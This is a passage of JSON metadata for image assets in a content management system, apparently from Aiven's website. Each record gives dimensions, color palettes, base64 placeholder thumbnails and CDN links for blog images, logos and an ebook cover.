Swatch","background":"#653739","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b0c09","foreground":"#fff","population":0.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d47d21","foreground":"#fff","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c4d1","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c898","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a6f71","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d47d21","foreground":"#fff","population":0.41,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"8_Tipst_in-line-image2.png","path":"images/sczeoy4w/production/b1d75e036ef7ab8cfe6ad1073307bbce2cc8825f-1875x1042.png","sha1hash":"b1d75e036ef7ab8cfe6ad1073307bbce2cc8825f","size":1286035,"title":"Magic potion","uploadId":"R6bw7PsYdMpTobXBbavbH9bURJvGmQmW","url":"https://cdn.sanity.io/images/sczeoy4w/production/b1d75e036ef7ab8cfe6ad1073307bbce2cc8825f-1875x1042.png"} {"_createdAt":"2022-11-28T09:37:02Z","_id":"image-75d76594ad0d68c01e34a64b9e64e8cb56440c7f-1875x1042-png","_rev":"z7EiK8inwybcbhSAyIcuZu","_type":"sanity.imageAsset","_updatedAt":"2022-11-28T10:40:49Z","altText":"A thick book with velvet cover","assetId":"75d76594ad0d68c01e34a64b9e64e8cb56440c7f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7994241842610366,"height":1042,"width":1875},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADOklEQVQokSXS72sbdRwH8Hd+tdEuXWOxbWaDHbrVZUwHTvcDZYgwDYySbXHJYtpLLvcjyd0uOZved1m8y+Xi0tYaOg1Vy575KH2gQ2FpByrKwJ/gAxEU9LGKk/los7jmvpL2H3i9P+83H9BOAHQ9MGB3AsN0fcy/dWPPAN14xPPZO8+4a1V9n2lWJU3TLI7jUslk8jjLssFiseh7vTbvGTlx0YMQ70VIcGFvBjggAD3Q7gQ8dH1sl90JDN2/scdPN8b87TdfmnhN4cV8Pv+FKIq/sSz7XSKRuB6Lxa6KolDQjeqpacnc2/+UOIwn+P6KubAD2j1wPYBuJ+C8+8mEm94c7f9y9YVhizBn8iLb4Xn+7tzcHK1UKl2O4zYjkcg/iUTi10Kh+K5S0o8OHsn7sT/j3fdiAQjxAP18BPRmEJQCf3dO4uy5c65ZVTmsFpUVUeD/zGQydrlcti3LsjmOo1NTUzQajd5jWfYDISsfdh8SH3CGuP7Bp7OObXBk/1m031PxfvUUNq5fcywsLAYNwyCl0twv2Wx2K5VK2YIg2DzP27FYrBuNRinDMH/xPD+fnJ4JAicdo8dzLu+T3M6FspRHu93GV998j6WlpcHV1dULrVbrlq7rm/l8fhvjOM5OJpM90GYYxpYk6SdFUdLpdMqnlQ3UKrOgd7ADshkOa2tt/Pzjt7hcqUwsLy8vrays3G40GrS3XbFY7AF2LpfrKopCFUXZlGT5Y0mWTxRV1UnHgLel06CXAPoWgOdPp7F4xQQ8Kcf5mdx4SSOqVa9/3WhcuV2v1//Vdd0mhNBarUabzSatmeYfF2VpnmdngqHHxoEHKagGUALYGoBe90U1AhzIucaPMbvPxFIHJVl+9RIhi4ZhfGSa5g+WZf3ebDbvtVqtzTes2q2ynIp/yE8OUwt9d0peNyVwbqM9EJMiMFGF46DgwKTgfvTZuOeV87FdvQeWJOmoqqpxQkjVMIw1Xdc/LamFekMIH7o/i6Et4vJ3NQzZGnxUg9fW4MTjz00DCACjL2PqQhaUUvh8PhBCenEIh8N98Xj84RTDHEmn0xFmZvoYYcI+ehme/zTXgK3BbxOMUIKHqIa+/wFYx14yKoHH8wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#542c2c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#983304","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":0.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":0.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2b85d","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4865c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e38e17","foreground":"#000","population":0.54,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"8_Tipst_in-line-image3.png","path":"images/sczeoy4w/production/75d76594ad0d68c01e34a64b9e64e8cb56440c7f-1875x1042.png","sha1hash":"75d76594ad0d68c01e34a64b9e64e8cb56440c7f","size":1286557,"title":"The magic book","uploadId":"sImHBVnaLWawzfEedg833JVYjArz8WZy","url":"https://cdn.sanity.io/images/sczeoy4w/production/75d76594ad0d68c01e34a64b9e64e8cb56440c7f-1875x1042.png"} {"_createdAt":"2023-01-19T12:02:29Z","_id":"image-70badcdd0a94494dcda3204de48796f1072f3dd9-2500x2500-png","_rev":"TE2o7iA1WIUKtaPRd3bWrr","_type":"sanity.imageAsset","_updatedAt":"2023-01-19T12:02:29Z","assetId":"70badcdd0a94494dcda3204de48796f1072f3dd9","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323356","foreground":"#fff","population":0.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b186c","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ea721b","foreground":"#fff","population":1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c8db","foreground":"#000","population":0.27,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcac58","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a97656","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea721b","foreground":"#fff","population":1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"How_a_cloud_data_platform_can_drive_transformation_in_your_business_ebook_cover_mockup.png","path":"images/sczeoy4w/production/70badcdd0a94494dcda3204de48796f1072f3dd9-2500x2500.png","sha1hash":"70badcdd0a94494dcda3204de48796f1072f3dd9","size":1034582,"uploadId":"ARzjAcspTAZbaBz0KLttbcTEe4jne4Cy","url":"https://cdn.sanity.io/images/sczeoy4w/production/70badcdd0a94494dcda3204de48796f1072f3dd9-2500x2500.png"} {"_createdAt":"2022-11-21T10:19:39Z","_id":"image-405591dfeb39a20f021c49159d42dd18acf62016-1567x844-png","_rev":"PJutSls1mvFq6xuKwNYFgX","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T10:21:59Z","altText":"A blue background, with some triangles, and the text \"Stale milk makes bad ice-cream, and stale data makes bad business decisions\"","assetId":"405591dfeb39a20f021c49159d42dd18acf62016","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACD0lEQVQokWWS61MSYRTGgYUQKKjJ7valmSbkXWMDkQ2VwNTyktNYU5JZ1LIXEaGydKbJoYsFKorWH/w05+wimR+eOe+c3ff3nuec4+pRyogM1RBJ13B6cBWh5CrOqe9wNl1DKFnhXDhV5Tydz6SqCCRW4BEmXP06XDHDkWnHS6Mfocz/gFpoIPFkC8r8d9wtNJF69hO3H39DeqGBzOI2Ek+3WEPPf+Hm1BcEkxW4j8EsO14f22BAvriH0aUdZF/t4v7bfQwvbnN+otTGA/2AcxNaG+Nam/O3pjdxcWQNp+LlLlBYcPXl17mKfLGFew6MALnXLeSKLT4TZLJ0gCnzkPOZF01WdGYTocGqDeroWm6dPz40DvnS2Js9roQq46i1+RGCjmv73BZydSW7hvNqza6QQP9azi7tYmb5D6at3wwiqFpoQp77itijOsRcnWP/bB19+Q0E7pThFSX4RAmSMBygM5SruU88gJGXO9xDsq0uNHBj8jNP1q+UQZvgd+SLlyHJJryyDq/QIQnTnngHGEysoDfznhtMoqn3Dn/gleEpRnV7PaKOYiY8sglJNuAWBsO8wmQwQwOihIhiIZyscAX0U3e3TspNlweoQoPtEsjnQNl6WNZwOWnhglpDMFGxgZ2FPba43TPZ9ZFlhtqW3WzZhIsa2zNgwB9fhiRTc/+r6ghK1u3ojunwCIonXfwFpwiGyO3/CH4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#355075","foreground":"#fff","population":0.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":51.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":51.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2bbd7","foreground":"#000","population":0.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#607593","foreground":"#fff","population":1.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b04750","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-milk-and-data.png","path":"images/sczeoy4w/production/405591dfeb39a20f021c49159d42dd18acf62016-1567x844.png","sha1hash":"405591dfeb39a20f021c49159d42dd18acf62016","size":77237,"title":"Stale milk makes bad ice-cream, and stale data makes bad business decisions","uploadId":"RRhjonKAB839ePVTwxcsma8sckDUJd5q","url":"https://cdn.sanity.io/images/sczeoy4w/production/405591dfeb39a20f021c49159d42dd18acf62016-1567x844.png"} {"_createdAt":"2022-10-11T10:12:26Z","_id":"image-de2f15ed588c2b94aaa736286ef5bf8204018297-3133x1688-png","_rev":"finHKG0Do1l69rhzq5V8gj","_type":"sanity.imageAsset","_updatedAt":"2022-10-12T12:30:33Z","altText":"Keep watch on your Aiven metrics with CloudWatch. AWS CloudWatch provides powerful introspection for your logs and metrics - find out how to use it with Aiven services.","assetId":"de2f15ed588c2b94aaa736286ef5bf8204018297","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA9t4lBr=rIUENGI~AI@M|xC9awtNzxtf6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAACm0lEQVQokU2T6U8TWxyGpwtUoQUVUBNjuJHOVqAtraKgsVxSqUhSFqGdTmef1t6LgsYtLkBRcYGoH+/9cx8zYzV+eHJycpI37++c5win8tsMze4yPLtL8uoOyeIjkvkOQ1mfoWk3JJWxOC02SFypkbiyRf+ERkwyiSg+gtru4f/cX5x/THG9y3z9iMJ6l2z1gNxql1ywVvcprHVRll5yNt+iX9Tpn2jQl9aJSRYRxeuFtYjKDjHJRrg8t83trQOWrSMWtHfMbx1yW//EgnVCyTzmlv4ZqfKKgVyHiOwS7RGERdQWQqbXUAkaegjjNzqU7r9hxXxPWetSqnUpm5+ouCcsuSfc1D7y1+ILBgvbxKceEPk12h9EVZ94xiem+gjjs21KG69ZMT+wWO+yqB1SNo6o2F+41/5O2f3K1a0jpOU9zl3fJa644binVYvhKYsBxWBs2kCdMxkvGgjnCy2yS0+5Vn3D1PIrsiuvKVT3KG4cMlv7GDKz8R55+S0jvcA+yWDimkHlrslcSadcbtCqNblzR0dIqA7JaZ9Urs1gts1grkNy5l8Gi49CkoWHpPKd8CyR8cJ2weNcLxnsty32fJN93+TDPzYbVRMhLhrE03pILN0kKloIsosg+z+RXCKiTUSyiUoWCanJ2KTG3UqTb7sO/z93+O+Zw/GOy9qaizAk1hlVGoxONkkpOgmxQZ/YJC5ZxGS7h0NU9RAUj+Fpm7m/TVqazfGOx9fHHt+eeBxu+9xbbSGMiptcnmxwKW9zJmNwKl2nf6L+27XAr9Ax2SEiOZwJAhdt1lcdGpsOtfsutU2f1TWfXMlFGBA1UrJOUjVJyCZ9wRWIxh/iBtK6Yevghwyk64xkNC5kdS7kDMZyFiMzHufyLqlJix/gpYBgGkbxOQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3861","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.7,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1a6b7","foreground":"#000","population":1.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ad66","foreground":"#000","population":4.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657592","foreground":"#fff","population":1.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1853e","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"AWS_CloudWatch_blog.png","path":"images/sczeoy4w/production/de2f15ed588c2b94aaa736286ef5bf8204018297-3133x1688.png","sha1hash":"de2f15ed588c2b94aaa736286ef5bf8204018297","size":143941,"title":null,"uploadId":"RkYUfEFVsRq179mcnFtTE54FZTKPXy78","url":"https://cdn.sanity.io/images/sczeoy4w/production/de2f15ed588c2b94aaa736286ef5bf8204018297-3133x1688.png"} {"_createdAt":"2022-10-11T10:34:37Z","_id":"image-92889533074fb94addf32dcc178c16ba3c42e3ba-193x116-svg","_rev":"tWS6wOCoDT5Jyi19Tz7v6T","_type":"sanity.imageAsset","_updatedAt":"2022-10-11T10:34:37Z","assetId":"92889533074fb94addf32dcc178c16ba3c42e3ba","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTFzclI@-7NdWC0pxER+s-s,}nj@EhWWNb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6637931034482758,"height":116,"width":193},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACvUlEQVQokU1RS2iUZxQ9k4jvR7AYIz6i6Z0/zZC5f9R2MOgZpyLaYcAnWI0P0kJaNfiIj/gOttW0Wq1v5qakpYgixI2670pcuHSldmVBuu1ChC6S75ahX6CLy/k+7j3nO+d+EGWDKHeJcliUT0T5myh7RXlUlHtFmRNllyhvinKtKFNRHol1UZSPRDkiykOibIYop4iyQ5RlUe4R5fei/EaUp0R5RpTrRHlMlA9ivyLK86I8K8obcXaLKJfVzI0LLhXlRlF+IcqfRPmDKPdFYm/EahQ+GB/bEfFbUe4WZWFcMIl2j4uyR5S3RXlJlBtEeeJ/LvpixOtxLhtddYvygigHRLkK2ZTMKq/FnW2OhKuiZCQ+jPE2xN69eG7KKj9MUnYmKfuSlNaasgst+eJH2ZTHsym/y6Y8HCPUorWLck2M3xXvfbFfW9ES0eLmlnyxZ3H76v7F7auPLMiVPkG5tHzaknwx35IvVpKU61o7WEhS5pKUDdmUjZHcLMoZomyrfWCSclZrBxvalq4qfFzo3FouLd/+9cZcaeTQ3IXwIbS8uTS56eTnyUw0ViYCvwPYkdm3KZcZ6JLM9s/S+gNb2uqqXy3M7Cxr/bb1af31L5szwCn0b0smPz3b0Pr2yqTKP3cy3T6E/QiGtT6Esg+j03/FIh/GdL+Hur+uTsTfNybg5cVpeHtlEt7frsPrwal4NTgV727Vw18Afhcz/BcU/Gfs9iEMBMPjmqAEQ2XMcDAYDgfDzmD4NBjag2HRaBWNo1V8EAyzR6uYM1rF/GBIgmFFMGwaM/SMGbqDYW8wWE2wzg1z3EA39LrhRzfcccM1N1wIhtNuOOaGo27od8M5Nwy64bIbzgfDHjesdEPJDVvhhvGaEAzzvLaC/0RG3PDcDX+44U83vHHDSzc8c8N9N5xwwxo3NLlheg2DYe6/rFUupwFTdi8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#243444","foreground":"#fff","population":1.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c3c04","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9905","foreground":"#000","population":7.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a531e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d49c4f","foreground":"#000","population":0.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab845e","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9905","foreground":"#000","population":7.45,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"AWS.svg","path":"images/sczeoy4w/production/92889533074fb94addf32dcc178c16ba3c42e3ba-193x116.svg","sha1hash":"92889533074fb94addf32dcc178c16ba3c42e3ba","size":5788,"uploadId":"cL3zAAID8zwXxmsb2r6CiQujBEsm6Kdk","url":"https://cdn.sanity.io/images/sczeoy4w/production/92889533074fb94addf32dcc178c16ba3c42e3ba-193x116.svg"} {"_createdAt":"2022-11-28T05:42:38Z","_id":"image-80a23649d2ce63ce773173b9009e9f21b749c765-1500x1179-png","_rev":"v53ZsDDD1bdWz9EKVTxaWY","_type":"sanity.imageAsset","_updatedAt":"2022-11-28T05:42:38Z","assetId":"80a23649d2ce63ce773173b9009e9f21b749c765","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VRD%B,k91bai,s|cj?63a#$QAGa#,;f$n+66a#=Jk9WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.272264631043257,"height":1179,"width":1500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAADMUlEQVQ4jXWS209cVRTG14BD0wgjIKH0QsGWFjJQvu8Mcw4zwzBUEGdauczMGQrIZazFQIGWTm2raZrgJd6i+GLrP2B8M7Gt0Rfjmyb8FY19N/FFn5S9zJkeJiXFlXxZK3uv/Vtr7SyRp8xMdYuZPSU6bosutIvGxwMmWqgytlulvky0IGq7TxT1fEH2NV2tF505LTqUFpPKiLFmRPtzjerke9V2LY0WImq73cZ26yrAsgr7Q/Vyg+h0p2jXpSewzEBQk+d7NDa5pE7uutpuSW13UW33pN/tHugzZlYaRafCostN3rhBvdDVrq85WR0efk+T57/U/uyW2u5ttd20sd0Wtd1q3R0/6j4L1PU6MZELoh+K6FvNzaZ4PK8znXc1a/2k6eQDTaV/0PjEQ3Vyn6rtjqjthkxk+v87/Ge9Vv74WOTv1VBgZy10wiy/WDIXj/6is6cem3zvI80kftezo480Mfa99mcX1ckf0sGMaGxyL5BkWVtjx+XnxXqRN0T0xnMtWjqwomuh++ZSy2/m9Y5tk8O2ORf/1Yy8/K1JpadMfKJBR+ZkOzkkV62EACirEgz0nZGdmwER+UZ+XGio//NacOLf68H3zXrdFVNsnTXTXXMma90wY87tnUwi/ldqtEbH5+S7wVi5oQpwt0OAIvWj0hbuq0lFezo+nzwy+Hj9QExvVR3ZWW46qAsnntdCz0smB2jWatK1edm046KqFaDnd4EHSbSSaAd4jMSAE+kdScfCJ4ed7trWcKT29BmrcagPh1+N9nYkIzgMMOS/6STZQjJYAQJoJjEBcJVEAWAO4DzAPImERQxZRJ5kEeAGwCLJNIiLAEskZ0i27wKrSHaQXCKxBfAjEiUSV0lc8+ObJD4g8TWJeyQ+Ieid3SH5DoB3SSY9lgesIXmW5CaArwBskbwDYAlAEcAXJD8j+TbJ8j2ADQCXAa8g50lukHyFZLUH9GZPkF5FbpK8QnLBT3BIrvhgL+dNALcAFLyRSWYBDJPMkewDUO4wQLKRJADESIb9/zhE8gUAbSSPkqwl2QbABuDleGfH/DzPN+xZG29+ANV+gcoaPB37u1btK7Bfzn9+d1pkU3XWUwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c3845","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c3b0b","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9384d","foreground":"#fff","population":2.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#940414","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9384d","foreground":"#fff","population":2.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a95a6e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6610c","foreground":"#fff","population":0.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-logo_vert_RGB.png","path":"images/sczeoy4w/production/80a23649d2ce63ce773173b9009e9f21b749c765-1500x1179.png","sha1hash":"80a23649d2ce63ce773173b9009e9f21b749c765","size":62556,"uploadId":"Fn932NNNeZvBAPBH7VDVonHAVHjEPAFV","url":"https://cdn.sanity.io/images/sczeoy4w/production/80a23649d2ce63ce773173b9009e9f21b749c765-1500x1179.png"} {"_createdAt":"2022-10-12T05:18:31Z","_id":"image-53daad82c024a7e401bc8b6f139726319278d36d-1567x844-png","_rev":"EO0gT2rxu6W7NhGQgp0NWA","_type":"sanity.imageAsset","_updatedAt":"2022-10-12T05:23:42Z","altText":"Take my claw ... join the Aiven Technical Content Contribution Program","assetId":"53daad82c024a7e401bc8b6f139726319278d36d","description":"Take my claw ... join the Aiven Technical Content Contribution Program - blog hero image for the announcement.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACWklEQVQokX2SyVIaURSGea4s8xp5iVTMKpukskiVSdAkK1NKnMtUEKJGoRkUpRtkEpAZZJKGBvrSOLv9UrQDZpPFV+eexX/uX+f8lk73jFNVN2mpglZbmHXUN1t9k1NV0NaG9MUVwri5Y3CNbtyMGYy4xnJSaxNLZAgfJolE0yjhBHIoblYllEBW4hxGUhRKDbTeuSl6QAwuEEJHCANhXJsfWYrlJgdyFMkbQPIE2HH5cbl3kbz7eP1BvL4DPL4D87PR0JGBjjY0xQO9g9EJM9CO0cXQdGk6jMYz7O2H8fmDJqN3YD9MUImhhOIEAgqyEiEaO+YoVaDe0Ey3HbWKWnZzkvOTyxcolhtYRjusN3tUqirlSovySYtKtW321bpGrdailjykEfFQzWUoletkcyWisSSyLKMEfez63WxsbGK3O7E83cm/XKEbtwitx4WyyJXjFf2wnVI+j8frx2b7wezsHOvrDtySh62tbVZW17A8Xu0JdwsfXfEWo1nhxjnB5fQzGr8/EJEDLC0t83FyEqvVyvz8Al5fgHSmSPq4iMUU/oezQpirxReo1uckHN/weSVsNhvTU1N8+jzNu/dfmJl1ks40zFhZRHdIV9VRVfEYi4eMCXGJkZPprE0Qn5vAt/kTyePBbrezsrrKzPdlXr7+ypu3C+zL+fuB7T6dqkq91kbtGPfhvRvY1y9oFLLEpV9IjhX+bG7gckv4/XuEQlGCSgq7U2FrJ06+2L4fqJ/T7w7Rumf09MtxaI0b2ppBMpXF4/Wxvb2Ny+Vmb++Ao2R2HJ3eBd3+WPcXbGH5/5urPNgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1e223b","foreground":"#fff","population":2.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#803e04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1e223b","foreground":"#fff","population":2.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b2d0","foreground":"